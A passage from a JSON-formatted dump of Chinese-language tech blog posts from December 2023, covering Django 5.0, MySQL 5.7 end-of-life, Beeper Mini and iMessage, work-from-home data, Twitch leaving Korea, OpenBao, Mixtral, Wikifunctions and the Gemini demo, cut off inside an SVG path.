href=\"https://eng.lyft.com/presto-infrastructure-at-lyft-b10adb9db01\">Presto Infrastructure at Lyft</a> (2019)</li>\r\n\t<li><a href=\"https://medium.com/pinterest-engineering/presto-at-pinterest-a8bda7515e52\">Presto at Pinterest</a> (2019)</li>\r\n\t<li><a href=\"https://blog.zomato.com/powering-data-analytics-with-trino\">Powering Zomato’s data analytics using Trino</a> (2022)</li>\r\n\t<li><a href=\"https://shopify.engineering/faster-trino-query-execution-infrastructure\">Shopify's Path to a Faster Trino Query Execution: Infrastructure</a> (2021)</li>\r\n</ul>\r\n\r\n目前應該會需要一些時間，把積在 backlog 的功能開發出來。之後如果還有遇到 Trino 的話可以拿出來重新研究發展到什麼地方...",
    "title": "Trino Gateway"
  },
  {
    "id": "11510",
    "body": "<a href=\"https://www.djangoproject.com/\">Django</a> 5.0 的消息出來了：「<a href=\"https://www.djangoproject.com/weblog/2023/dec/04/django-50-released/\">Django 5.0 released</a>」，比較完整的 release notes 則是在這邊：「<a href=\"https://docs.djangoproject.com/en/5.0/releases/5.0/\">Django 5.0 release notes</a>」。\r\n\r\n對應的 Django 4.2 因為是 <a href=\"https://en.wikipedia.org/wiki/Long-term_support\">LTS</a>，會支援到 2026/04：\r\n\r\n<blockquote>With the release of Django 5.0, Django 4.2 has reached the end of mainstream support. The final minor bug fix release, 4.2.8, was issued today. Django 4.2 is an LTS release and will receive security and data loss fixes until April 2026. All users are encouraged to upgrade before then to continue receiving fixes for security issues.</blockquote>\r\n\r\nDjango 5.0 比較大的 incompatibility 會是 <a href=\"https://www.python.org/\">Python</a> 版本的要求：\r\n\r\n<blockquote>Django 5.0 supports Python 3.10, 3.11, and 3.12. We highly recommend and only officially support the latest release of each series.\r\n\r\nThe Django 4.2.x series is the last to support Python 3.8 and 3.9.</blockquote>\r\n\r\n關於 Python 版本的部分，交叉參考「<a href=\"https://devguide.python.org/versions/\">Status of Python versions</a>」這邊的說明，可以看到目前還在提供安全性更新 (狀態是 security) 的 3.8 (到 2024/10) 與 3.9 (到 2025/10) 在 Django 5.0 被放掉了...\r\n\r\n現在 Django 的大版號更新比較像是常態性把有破壞相容性的更新整理起來出新版，倒不是動到什麼大結構...",
    "title": "Django 5.0"
  },
  {
    "id": "11511",
    "body": "查資料發現忘記這件事情了... 先前就有寫過 <a href=\"https://dev.mysql.com/\">MySQL</a> 5.7 到今年十月就 <a href=\"https://en.wikipedia.org/wiki/End-of-life_product\">EoL</a> 了：「<a href=\"https://blog.gslin.org/archives/2023/04/13/11140/mysql-5-7-%e7%9a%84%e6%94%af%e6%8f%b4%e5%8f%aa%e5%88%b0%e4%bb%8a%e5%b9%b4%e5%8d%81%e6%9c%88-oct-2023/\">MySQL 5.7 的支援只到今年十月 (Oct 2023)</a>」。\r\n\r\n最後一版是 2023/10/25 釋出的 5.7.44：「<a href=\"https://dev.mysql.com/doc/relnotes/mysql/5.7/en/news-5-7-44.html\">Changes in MySQL 5.7.44 (2023-10-25, General Availability)</a>」。\r\n\r\n<blockquote>MySQL 5.7.44 is the final release of the MySQL 5.7 series.</blockquote>\r\n\r\n然後 MySQL 8.1 也是十月 EoL。\r\n\r\n雖然目前已經有 MySQL 8.2 了，但 MySQL 8.0 是 <a href=\"https://en.wikipedia.org/wiki/Long-term_support\">LTS</a>，目前預定支援到 2026 年四月 (大約還有兩年多)，所以除非有需要用到 MySQL 8.2 的新功能或是特性，不然應該還是會先繼續用 MySQL 8.0...\r\n\r\n然後翻了一下 <a href=\"https://www.percona.com/mysql/software/percona-server-for-mysql\">Percona Server for MySQL</a>，看起來還是沒有提供 <a href=\"https://www.arm.com/\">ARM</a> 的 binary 可以裝，所以在 ARM 上面的機器比較方便的還是裝 <a href=\"https://mariadb.org/\">MariaDB</a> 了...",
    "title": "MySQL 5.7 已經 EoL"
  },
  {
    "id": "11512",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上兩篇相關的可以一起看，首先是 <a href=\"https://www.beeper.com/\">Beeper Mini</a>，一套在 <a href=\"https://en.wikipedia.org/wiki/Android_(operating_system)\">Android</a> 上直接與 <a href=\"https://www.apple.com/\">Apple</a> 生態系 <a href=\"https://en.wikipedia.org/wiki/IMessage\">iMessage</a> 相通的 app，而且不需要另外的 Apple 設備當作 Proxy：「<a href=\"https://news.ycombinator.com/item?id=38531759\">Show HN: Beeper Mini – iMessage Client for Android (beeper.com)</a>」。\r\n\r\n另外先提一下，這是一套付費軟體 ($1.99/mo)，考慮到這算是 reverse engineering 後的產品，不確定 Apple 會不會反制，要付錢使用的人心裡先有個底：\r\n\r\n<blockquote>We currently offer a 7 day free trial, afterwards there is a $1.99 per month subscription.</blockquote>\r\n\r\n另外一篇相關的是「<a href=\"https://news.ycombinator.com/item?id=38532167\">iMessage, explained (jjtech.dev)</a>」，原文是今年八月的文章，應該就是 Beeper Mini 那篇而被貼出來的關係，在「<a href=\"https://jjtech.dev/reverse-engineering/imessage-explained/\">iMessage, explained</a>」這裡。\r\n\r\n裡面解釋了他自己實作 <a href=\"https://github.com/JJTech0130/pypush\">pypush</a> 時怎麼處理 iMessage 的部分：\r\n\r\n<blockquote>This blog post is going to be a cursory overview of the internals iMessage, as I’ve discovered during my work on pypush, an open source project that reimplements iMessage.</blockquote>\r\n\r\n專案裡面有提到 Apple 在這邊有段 obfuscated code，由於只有註冊階段需要用到，他選擇直接跑環境起來執行，產生出對應的 data 後就不用再跑，也就省掉 reverse engineering 這塊功夫：\r\n\r\n<blockquote>pypush currently uses the Unicorn CPU emulator and a custom MachO loader to load a framework from an old version of macOS, in order to call some obfuscated functions.\r\n\r\nThis is only necessary during initial registration, so theoretically you can register on one device, and then copy the config.json to another device that doesn't support the Unicorn emulator. Or you could switch out the emulator for another x86 emulator if you really wanted to.</blockquote>\r\n\r\n另外一個先前的消息是 Apple 說要支援 <a href=\"https://en.wikipedia.org/wiki/Rich_Communication_Services\">RCS</a>：「<a href=\"https://9to5mac.com/2023/11/16/apple-rcs-coming-to-iphone/\">Apple announces that RCS support is coming to iPhone next year</a>」，目前大家的猜測是跟歐盟一直在要求 Apple 開放 iMessage 有關。",
    "title": "Android 上與 Apple 生態系 iMessage 互通的 app"
  },
  {
    "id": "11513",
    "body": "先講結論：<a href=\"https://en.wikipedia.org/wiki/COVID-19\">COVID-19</a> 前美國的 <a href=\"https://en.wikipedia.org/wiki/WFH\">WFH</a> (Work from home，或是 Remote work) 的比率大約在 5% 上下徘徊，在疫情開始暴增超過 60%，但到現在後疫情時期已經是常態性高過 25% 了。\r\n\r\n報導是從「<a href=\"https://www.theregister.com/2023/12/03/return_to_office/\">'Return to Office' declared dead</a>」這邊看到的，裡面提到了今年九月發的 paper (可以免費下載)：「<a href=\"https://papers.ssrn.com/sol3/papers.cfm?abstract_id=4564075\">The Evolution of Work from Home</a>」。\r\n\r\npaper 的作者之一 <a href=\"https://en.wikipedia.org/wiki/Nicholas_Bloom\">Nick Bloom</a> 在 X (<a href=\"https://twitter.com/\">Twitter</a>) 上提到了目前看起來不同來源的結果是一致的：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">WFH levels have become &quot;flat as a pancake&quot;. The latest Census, SWAA and Kastle data all show the same thing. Levels of WFH were falling throughout 2020 to 2022, and office occupancy was rising. That trend ended in 2023, with both now pancake flat. Return to the Office is dead. <a href=\"https://t.co/8PxoY05Ept\">pic.twitter.com/8PxoY05Ept</a></p>&mdash; Nick Bloom (@I_Am_NickBloom) <a href=\"https://twitter.com/I_Am_NickBloom/status/1729557222424731894?ref_src=twsrc%5Etfw\">November 28, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n先從他在九月時發的 paper 抓這張圖出來，裡面提到的 Census Household Pulse Survey 看起來是美國政府的「<a href=\"https://www.census.gov/data/experimental-data-products/household-pulse-survey.html\">Measuring Household Experiences during the Coronavirus Pandemic</a>」這份資料，時間是從疫情開始爆發後蒐集的 (2020/04/23)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1701835889-3f0d066c.webp\" /><img src=\"https://i.gslin.com/s/1701835889-3f0d066c.png\" alt=\"\" /></picture>\r\n\r\n裡面有兩張圖，先看大的圖，可以看到 2000 年以後 WFH 是有緩慢上升，但也就是 5% 上下。而在疫情開始直接飆升，然後開始降回來。\r\n\r\n接下來看小的圖，這是疫情開始的資料，疫情一開始非常高，到 60%+，但可以看到的確從 2021 年開始美國的 WFH 就平穩下來了，大約在 25%～35% 這邊，而且已經平緩下來了。\r\n\r\n另外一篇要提的是從房地產的角度看的，報導是「<a href=\"https://abc7news.com/downtown-san-francisco-office-vacancy-stores-closing-crime/14125753/\">San Francisco now at 35% office vacancy rate, highest ever recorded: data</a>」這篇，提到舊金山辦公室的空房率達到歷史新高的 35%。\r\n\r\n在加州的官網上有比較舊的資料 (資料來源不同，所以主要是看趨勢)，上面目前最新的資料可以看到 2023 年三月辦公室的空房率是 26% (這份資料裡面有提到最新資料大約晚一季到兩季)：「<a href=\"https://sf.gov/data/san-francisco-office-space-vacancy\">San Francisco Office Space Vacancy</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1701837291-2ad57b87.webp\" /><img src=\"https://i.gslin.com/s/1701837291-2ad57b87.png\" alt=\"\" /></picture>\r\n\r\n算是不同方向的指標交叉看，看起來算一致。",
    "title": "WFH 在美國的比重，以及舊金山辦公室的空屋問題"
  },
  {
    "id": "11514",
    "body": "<a href=\"https://twitch.tv/\">Twitch</a> 宣佈 2024/02/27 (星期二) 退出韓國市場：「<a href=\"https://blog.twitch.tv/en/2023/12/05/an-update-on-twitch-in-korea/\">An Update on Twitch in Korea</a>」。日期不知道是怎麼選的，可能跟某些合約有關？\r\n\r\nTwitch 目前的公告會有繁體中文，也可以看這份：「<a href=\"https://blog.twitch.tv/zh-tw/2023/12/05/an-update-on-twitch-in-korea/\">Twitch 韓國現況更新</a>」。\r\n\r\n另外今天早上找了一下，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 也有討論了：「<a href=\"https://news.ycombinator.com/item?id=38539167\">An update on Twitch in Korea (twitch.tv)</a>」。\r\n\r\n目前官方給出來的理由是虧本，而且找不到方法克服虧本的問題：\r\n\r\n<blockquote>Ultimately, the cost to operate Twitch in Korea is prohibitively expensive and we have spent significant effort working to reduce these costs so that we could find a way for the Twitch business to remain in Korea.</blockquote>\r\n\r\n這邊提到的包括了 p2p model 以及降到 720p，但即使如此網路費用 (應該就是頻寬費用) 是其他區域的十倍以上：\r\n\r\n<blockquote>First, we experimented with a peer-to-peer model for source quality. Then, we adjusted source quality to a maximum of 720p. While we have lowered costs from these efforts, our network fees in Korea are still 10 times more expensive than in most other countries. Twitch has been operating in Korea at a significant loss, and unfortunately there is no pathway forward for our business to run more sustainably in that country.</blockquote>\r\n\r\n在 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 這邊，2016 年還叫做 CloudFlare 的時候也有抱怨過：「<a href=\"https://blog.gslin.org/archives/2016/08/18/6747/cloudflare-%E5%B0%8D-hinet-%E6%88%90%E6%9C%AC%E7%9A%84%E6%8A%B1%E6%80%A8-%E9%82%84%E6%9C%89%E5%85%B6%E4%BB%96-isp/\">CloudFlare 對 HiNet 成本的抱怨 (還有其他 ISP...)</a>」。\r\n\r\n當年是這樣寫 <a href=\"https://www.hinet.net/\">HiNet</a> 與 <a href=\"https://www.kt.com/\">KT</a>，成本大約是歐美區的 15 倍：\r\n\r\n<blockquote>Two Asian locations stand out as being especially expensive: Seoul and Taipei. In these markets, with powerful incumbents (Korea Telecom and HiNet), transit costs 15x as much as in Europe or North America, or 150 units.</blockquote>\r\n\r\n而尤其是韓國的部分，政府介入讓降價的速度比全世界慢，所以時間拉長後成本相較於其他地區就貴很多：\r\n\r\n<blockquote>South Korea is perhaps the only country in the world where bandwidth costs are going up. This may be driven by new regulations from the Ministry of Science, ICT and Future Planning, which mandate the commercial terms of domestic interconnection, based on predetermined “Tiers” of participating networks. This is contrary to the model in most parts of the world, where networks self-regulate, and often peer without settlement. The government even prescribes the rate at which prices should decrease per year (-7.5%), which is significantly slower than the annual drop in unit bandwidth costs elsewhere in the world. We are only able to peer 2% of our traffic in South Korea.</blockquote>\r\n\r\n不過不確定現在的情況，2016 年的 CloudFlare 跟 2023 年的 Cloudflare 已經差了七年了...",
    "title": "Twitch 宣佈退出韓國市場"
  },
  {
    "id": "11517",
    "body": "前幾天在「<a href=\"https://blog.gslin.org/archives/2023/12/06/11512/android-%e4%b8%8a%e8%88%87-apple-%e7%94%9f%e6%85%8b%e7%b3%bb-imessage-%e4%ba%92%e9%80%9a%e7%9a%84-app/\">Android 上與 Apple 生態系 iMessage 互通的 app</a>」這篇提到的 <a href=\"https://www.beeper.com/\">Beeper Mini</a> 被蘋果幹掉了：「<a href=\"https://techcrunch.com/2023/12/08/apple-cuts-off-beeper-minis-access-after-launch-of-service-that-brought-imessage-to-android/\">Apple cuts off Beeper Mini’s access after launch of service that brought iMessage to Android</a>」。\r\n\r\n目前的 update 看起來要想辦法繞？\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Investigating reports that sending/receiving is not working in Beeper Mini ?</p>&mdash; Beeper (@onbeeper) <a href=\"https://twitter.com/onbeeper/status/1733223640270082501?ref_src=twsrc%5Etfw\">December 8, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n所以看起來蘋果的態度沒有要放，然後接下來應該會貓捉老鼠？不過蘋果的機器上面有硬體可以認證，真的把 <a href=\"https://en.wikipedia.org/wiki/IMessage\">iMessage</a> 接上資料庫驗證的話應該就繞不過了... ",
    "title": "蘋果出手幹掉 Beeper Mini 了"
  },
  {
    "id": "11518",
    "body": "當初 <a href=\"https://en.wikipedia.org/wiki/HashiCorp\">HashiCorp</a> 宣布改 license (可以參考之前寫的「<a href=\"https://blog.gslin.org/archives/2023/08/11/11294/hashicorp-%E5%B0%87%E6%94%BE%E6%A3%84-open-source-license%EF%BC%8C%E6%94%B9%E6%8E%A1%E7%94%A8-bsl-1-1/\">HashiCorp 將放棄 Open Source License，改採用 BSL 1.1</a>」)，用的最多的 <a href=\"https://en.wikipedia.org/wiki/Terraform_(software)\">Terraform</a> 就馬上有人 fork 出來：「<a href=\"https://blog.gslin.org/archives/2023/08/27/11314/opentf-%E5%AE%A3%E4%BD%88%E5%BE%9E-terraform-%E6%9C%80%E5%BE%8C%E4%B8%80%E5%80%8B-open-source-%E7%89%88%E6%9C%AC-fork-%E5%87%BA%E4%BE%86/\">OpenTF 宣佈從 Terraform 最後一個 Open Source 版本 fork 出來</a>」、「<a href=\"https://blog.gslin.org/archives/2023/09/20/11357/opentf-terraform-%E7%9A%84-fork-%E6%94%B9%E5%90%8D%E7%82%BA-opentofu/\">OpenTF (Terraform 的 fork) 改名為 OpenTofu</a>」。\r\n\r\n而 <a href=\"https://www.vaultproject.io/\">Vault</a> 也受到影響，當時花了一些時間找看看有沒有人 fork，沒找到後就改用 <a href=\"https://en.wikipedia.org/wiki/Etcd\">etcd</a> (然後搭配 <a href=\"https://github.com/srimaln91/etcd-adminer\">etcd-adminer</a> 以及 <a href=\"https://github.com/oauth2-proxy/oauth2-proxy\">oauth2-proxy</a> 接 <a href=\"https://en.wikipedia.org/wiki/Google_Workspace\">Google Workspace</a> 的 SSO)，後來就沒有追這個問題了...\r\n\r\n剛剛才看到 fork 的消息出來了：「<a href=\"https://news.ycombinator.com/item?id=38579130\">OpenBao – FOSS Fork of HashiCorp Vault (github.com/openbao)</a>」，專案在「<a href=\"https://github.com/openbao/openbao\">OpenBao</a>」這邊，要注意目前只有 <code>development</code> branch 有東西，<code>main</code> branch 目前是空的，而且 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上討論也有提到現在還在 early stage，很多東西都還在整理。\r\n\r\n之後有機會再回來看看...",
    "title": "HashiCorp 的 Vault 也有 fork 了：OpenBao"
  },
  {
    "id": "11519",
    "body": "首先是「<a href=\"https://mistral.ai/news/mixtral-of-experts/\">Mixtral of experts</a>」這個公告，<a href=\"https://mistral.ai/\">Mistral</a> 推出了新的 model，叫做 Mixtral 8x7B。這是一個 46.7B 的 model，但計算每個 token 時只需要計算 12.9B 的值：\r\n\r\n<blockquote>Concretely, Mixtral has 46.7B total parameters but only uses 12.9B parameters per token. It, therefore, processes input and generates output at the same speed and for the same cost as a 12.9B model.</blockquote>\r\n\r\n這就可以大幅降低計算需要的量，卻可以達到與 Llama 2 70B 或是 GPT-3.5 同一個等級的品質：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1702310209-6a34bd7a.webp\" /><img src=\"https://i.gslin.com/s/1702310209-6a34bd7a.png\" alt=\"\" /></picture>\r\n\r\n另外在「<a href=\"https://news.ycombinator.com/item?id=38598568\">Mistral: Our first AI endpoints are available in early access (mistral.ai)</a>」這邊看到官方推出了 API，正式的公告在「<a href=\"https://mistral.ai/news/la-plateforme/\">La plateforme</a>」這邊，同時價錢也已經出來了：「<a href=\"https://docs.mistral.ai/platform/pricing/\">Pricing</a>」。\r\n\r\n依照官方的說明，Mistral Small 用的是上面提到的 Mixtral 8x7B，所以表現的數字是一樣的。另外一個 Mistral Medium 沒有提到太多細節，只丟出簡單的說明：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1702309256-00c48c9b.webp\" /><img src=\"https://i.gslin.com/s/1702309256-00c48c9b.png\" alt=\"\" /></picture>\r\n\r\n然後 API 看起來會相容 <a href=\"https://openai.com/\">OpenAI</a> 家的 API：\r\n\r\n<blockquote>Our API follows the specifications of the popular chat interface initially proposed by our dearest competitor.</blockquote>\r\n\r\n<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上面的 <a href=\"https://news.ycombinator.com/item?id=38599156\">id=38599156</a> 有整理出重點，把價格數字都換算成 1m output 的費用，可以看到表現相近的 Mistral Small (Mixtral 8x7B) 與 GPT-3.5 在價錢上也差不多：\r\n\r\n<blockquote>Per 1 million output tokens:\r\nMistral-medium $8\r\nMistral-small $1.94\r\ngpt-3.5-turbo-1106 $2\r\ngpt-4-1106-preview $30\r\ngpt-4 $60\r\ngpt-4-32k $120</blockquote>\r\n\r\n沒有拿 GPT-4 的數字來比，代表 Mistral Medium 與 GPT-4 有一定的差距，這點也可以從價錢上面看出來。\r\n\r\n不過我更在意的是 Mistral Medium 的 model 會不會放出來？",
    "title": "Mistral 推出新的 Mixtral 8x7B，另外也開始提供付費 API 服務"
  },
  {
    "id": "11520",
    "body": "前幾天提到「<a href=\"https://blog.gslin.org/archives/2023/12/09/11517/%e8%98%8b%e6%9e%9c%e5%87%ba%e6%89%8b%e5%b9%b9%e6%8e%89-beeper-mini-%e4%ba%86/\">蘋果出手幹掉 Beeper Mini 了</a>」，當天就有進度了，不過到了昨天官方的說明才出來：「<a href=\"https://blog.beeper.com/p/beeper-mini-is-back\">Beeper Mini Is Back</a>」，<a href=\"https://news.ycombinator.com/\">Hacerk News</a> 上對應的討論在「<a href=\"https://news.ycombinator.com/item?id=38602575\">Beeper Mini is back (beeper.com)</a>」這邊可以看到。\r\n\r\n目前的 <a href=\"https://en.wikipedia.org/wiki/IMessage\">iMessage</a> 只剩下 e-mail 的部分，電話號碼的部分目前是掛的，看起來是想辦法繼續繞：\r\n\r\n<blockquote>Phone number registration is not working yet. All users must now sign in with an AppleID. Messages will be sent and received via your email address rather than phone number. We’re currently working on a fix for this.</blockquote>\r\n\r\n另外值得一提的是，這幾天 <a href=\"https://www.apple.com/ios/\">iOS</a> 有推更新，但在「<a href=\"https://support.apple.com/en-us/HT214035\">About the security content of iOS 17.2 and iPadOS 17.2</a>」與「<a href=\"https://support.apple.com/en-us/HT214034\">About the security content of iOS 16.7.3 and iPadOS 16.7.3</a>」裡面沒看到跟 iMessage 有關的說明。(當然也有可能塞進去卻沒有講...)\r\n\r\n所以基於現在的情況，他們決定先免費提供使用 (另外一方面是行銷操作，這樣會帶來更多安裝數量)：\r\n\r\n<blockquote><strong>We’ve made Beeper free to use.</strong> Things have been a bit chaotic, and we’re not comfortable subjecting paying users to this. As soon as things stabilize (we hope they will), we’ll look at turning on subscriptions again. If you want to keep supporting us, feel free to leave the subscription on ?.</blockquote>\r\n\r\n另外後面的這句話有帶出一些額外的訊息，提到他們有聯絡蘋果，但沒有從蘋果那邊收到任何消息，這也代表他們應該還沒收到 C&amp;D 之類的要求：\r\n\r\n<blockquote>Despite reaching out, we still have not heard anything directly from Apple.</blockquote>\r\n\r\n貓與老鼠還在繼續玩...\r\n\r\n話說隔壁棚 <a href=\"https://www.google.com/\">Google</a> 與 <a href=\"https://en.wikipedia.org/wiki/Epic_Games\">Epic</a> 那邊的戰場可熱鬧了...",
    "title": "Beeper Mini 恢復，並且先提供免費使用"
  },
  {
    "id": "11521",
    "body": "<a href=\"https://wikimediafoundation.org/\">Wikimedia</a> 的新計畫 <a href=\"https://www.wikifunctions.org/\">WikiFunctions</a>：「<a href=\"https://wikimediafoundation.org/news/2023/12/05/introducing-wikifunctions-first-wikimedia-project-to-launch-in-a-decade-creates-new-forms-of-knowledge/\">Introducing Wikifunctions: first Wikimedia project to launch in a decade creates new forms of knowledge</a>」。\r\n\r\n官方的說明中提到 WikiFunctions 是提供給 Wikimedia 其他的計畫用的程式碼：\r\n\r\n<blockquote>Wikifunctions is a Wikimedia project for everyone to collaboratively create and maintain a library of code functions to support the Wikimedia projects and beyond, in the world's natural and programming languages.</blockquote>\r\n\r\n這樣有點抽象，看「<a href=\"https://www.wikifunctions.org/wiki/Wikifunctions:Catalogue\">Wikifunctions:Catalogue</a>」這邊的範例會比較具體一點，可以看到都是實作很基本的功能，像是「<a href=\"https://www.wikifunctions.org/view/en/Z10018\">Function: To Uppercase</a>」。\r\n\r\n在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上也有討論：「<a href=\"https://news.ycombinator.com/item?id=38548130\">Wikifunctions (wikimediafoundation.org)</a>」，在 <a href=\"https://news.ycombinator.com/item?id=38549081\">id=38549081</a> 這邊有人比較清楚的說明了要解決的問題：\r\n\r\n<blockquote>A lot of Wikipedia sites have scripts embedded in the wikitext which automatically generate or transform information on a page, e.g. automatically performing unit conversions to generate text like \"I would walk 500 miles (804.67 km)\", performing date math to automatically generate and update a person's age based on their birthdate, or querying structured data from Wikidata [1] to display in an infobox. One example of these scripts is the {{convert}} [2] template on the English Wikipedia.\r\n\r\nInitially, these scripts were written in MediaWiki template logic [3], and were maintained individually on each wiki. This quickly proved unmaintainable, and some of those scripts were rewritten in Lua using the Scribunto extension [4], but these were still per-wiki, and there were frequently issues where different wikis would copy scripts from each other and introduce their own incompatible features.\r\n\r\nThe WikiFunctions project is an attempt to centralize development of these scripts, much like how Wikimedia Commons [5] centralizes hosting of freely licensed images and other media.</blockquote>\r\n\r\n<a href=\"https://www.mediawiki.org/wiki/MediaWiki\">MediaWiki</a> 本身的 template engine 還是有極限，所以很多的需求會希望使用程式語言開發，一方面是比較好維護，另外一方面是效率也比 template engine 硬幹來的好。\r\n\r\n先前大家在 MediaWiki 上比較常用的方案是透過 <a href=\"https://www.mediawiki.org/wiki/Extension:Scribunto\">Extension:Scribunto</a> 跑 <a href=\"https://www.lua.org/\">Lua</a> script，而這個 extension 後來變得太重要 (好用)，直接包進 MediaWiki 了。\r\n\r\n拿個例子來說，常見的引用功能 <a href=\"https://en.wikipedia.org/wiki/Template:Citation\">Template:Citation</a> 裡面直接是透過模組實作：\r\n\r\n<pre>&lt;includeonly&gt;{{#invoke:citation/CS1|citation\r\n|CitationClass=citation\r\n}}&lt;/includeonly&gt;&lt;noinclude&gt;\r\n{{Documentation}}\r\n&lt;/noinclude&gt;</pre>\r\n\r\n而這邊的 <code>#invoke</code> 就是去使用「<a href=\"https://en.wikipedia.org/wiki/Module:Citation/CS1\">Module:Citation/CS1</a>」這邊的 Lua 程式。\r\n\r\n目前的架構上面，每個語言的 <a href=\"https://www.wikipedia.org/\">Wikipedia</a> 都需要使用 Lua 維護自己的 <code>Module:*</code>，而 WikiFunctions 計畫則是希望能夠整合起來，算是重新打造基礎建設的工程。\r\n\r\n目前看了一些 WikiFunctions 的實作，主要是以 <a href=\"https://www.python.org/\">Python</a> 與 <a href=\"https://en.wikipedia.org/wiki/JavaScript\">JavaScript</a> 為主。\r\n\r\n這樣看起來，技術上是蠻有機會讓 Scribunto 退役，但實際上要不要這樣推還沒查到討論，在 <a href=\"https://www.wikifunctions.org/wiki/Wikifunctions:FAQ\">Wikifunctions:FAQ</a> 這邊則是沒提到 Scribunto，不確定是不是想雙軌跑...",
    "title": "Wikimedia 新計畫：WikiFunctions"
  },
  {
    "id": "11522",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Google_DeepMind\">Google Deepmind</a> 前幾天發表了 <a href=\"https://en.wikipedia.org/wiki/Gemini_(language_model)\">Gemini</a>：「<a href=\"https://blog.google/technology/ai/google-gemini-ai/\">Introducing Gemini: our largest and most capable AI model</a>」，同時也釋出了 Demo 影片：\r\n\r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/UIZAiXYceBI\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen></iframe>\r\n\r\n但後來大家發現 Demo 影片中人並不是直接透過語音與 Gemini 互動，而是把輸入進去的指令讓人讀出來，而且省略掉中間的各種 delay，是個被後製不少的影片：「<a href=\"https://techcrunch.com/2023/12/07/googles-best-gemini-demo-was-faked/\">Google’s best Gemini demo was faked</a>」。\r\n\r\n然後就有人用 <a href=\"https://en.wikipedia.org/wiki/GPT-4\">GPT-4</a> 實作出一個可以互動的版本了，雖然是 <a href=\"https://en.wikipedia.org/wiki/Proof_of_concept\">PoC</a> 等級的，但反而更真實：「<a href=\"https://news.ycombinator.com/item?id=38596953\">Show HN: I Remade the Fake Google Gemini Demo, Except Using GPT-4 and It's Real (greg.technology)</a>」。\r\n\r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/__nL7Vc0OCg\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen></iframe>\r\n\r\n記得 Google 年初的 Bart Demo 也出包，可以來看看後面第三次的情況？",
    "title": "用 GPT-4 重現 Google Deepmind 的 Gemini Demo 影片"
  },
  {
    "id": "11523",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=38609488\">Your Code Displays Japanese Wrong (heistak.github.io)</a>」這篇，原文是「<a href=\"https://heistak.github.io/your-code-displays-japanese-wrong/\">Your Code Displays Japanese Wrong</a>」。\r\n\r\n這個算是 CJK 族群的經典問題，主要的問題是有不同的團體都在使用漢字，但雖然都是 U+5203 的「刃」，在不同的地區的「標準寫法」是不一樣的，像是「<a href=\"https://dict.mini.moe.edu.tw/SearchIndex/word_detail?wordID=D0000847&amp;breadcrumbs=Search_%E5%88%83_one&amp;dictSearchField=%E5%88%83\">國家教育研究院 - 教育部國語小字典-刃</a>」這邊就有 SVG 版本的「圖」可以看：\r\n\r\n<svg class=\"svg-panel\" viewBox=\"0 0 196 196\" id=\"1702364048440182660\"><svg id=\"outline_1702364048440182660\" class=\"hasSVG\"><rect x=\"0\" y=\"0\" width=\"100%\" height=\"100%\" stroke-width=\"1\" fill=\"#aaaaaa\" fill-opacity=\"0\" stroke=\"#000000\"></rect><g id=\"outline_gp_1702364048440182660\"><path d=\"M84.888671875 51.10546875L65.84375 55.125Q63.259765625 55.69921875 60.197265625 56.6083984375Q57.134765625 57.517578125 55.794921875 57.421875Q54.263671875 57.421875 52.25390625 56.46484375L48.138671875 54.455078125Q45.5546875 53.40234375 44.21484375 52.0146484375Q42.875 50.626953125 43.06640625 49.9091796875Q43.2578125 49.19140625 49.95703125 48.6171875L56.943359375 48.04296875Q66.513671875 47.27734375 73.1171875 46.416015625L94.076171875 43.2578125Q107.5703125 41.248046875 109.580078125 40.865234375L115.9921875 39.716796875Q131.017578125 37.037109375 133.9365234375 36.3671875Q136.85546875 35.697265625 140.970703125 34.26171875Q145.0859375 32.826171875 146.904296875 32.73046875Q148.72265625 32.73046875 151.0673828125 33.6396484375Q153.412109375 34.548828125 156.76171875 36.654296875Q160.111328125 38.759765625 162.88671875 41.34375Q165.662109375 43.927734375 165.662109375 45.5546875Q165.56640625 46.798828125 163.748046875 49.19140625Q161.9296875 51.583984375 161.1162109375 53.2587890625Q160.302734375 54.93359375 159.4892578125 57.3740234375Q158.67578125 59.814453125 157.91015625 63.1640625Q157.14453125 66.513671875 156.3310546875 70.9638671875Q155.517578125 75.4140625 154.65625 81.34765625L152.263671875 98.861328125Q151.2109375 106.0390625 149.7275390625 113.408203125Q148.244140625 120.77734375 145.3251953125 131.208984375Q142.40625 141.640625 138.865234375 147.765625Q135.32421875 153.890625 130.7783203125 157.7666015625Q126.232421875 161.642578125 123.7919921875 162.6474609375Q121.3515625 163.65234375 119.916015625 163.4609375Q118.193359375 163.365234375 117.0927734375 162.3603515625Q115.9921875 161.35546875 114.5087890625 158.0537109375Q113.025390625 154.751953125 108.4794921875 148.7705078125Q103.93359375 142.7890625 102.59375 141.44921875L100.775390625 139.822265625Q99.818359375 139.056640625 100.4404296875 138.3388671875Q101.0625 137.62109375 102.115234375 138.00390625L104.794921875 139.056640625L110.6328125 141.640625Q114.65234375 143.36328125 118.2890625 143.458984375Q120.77734375 143.650390625 122.1650390625 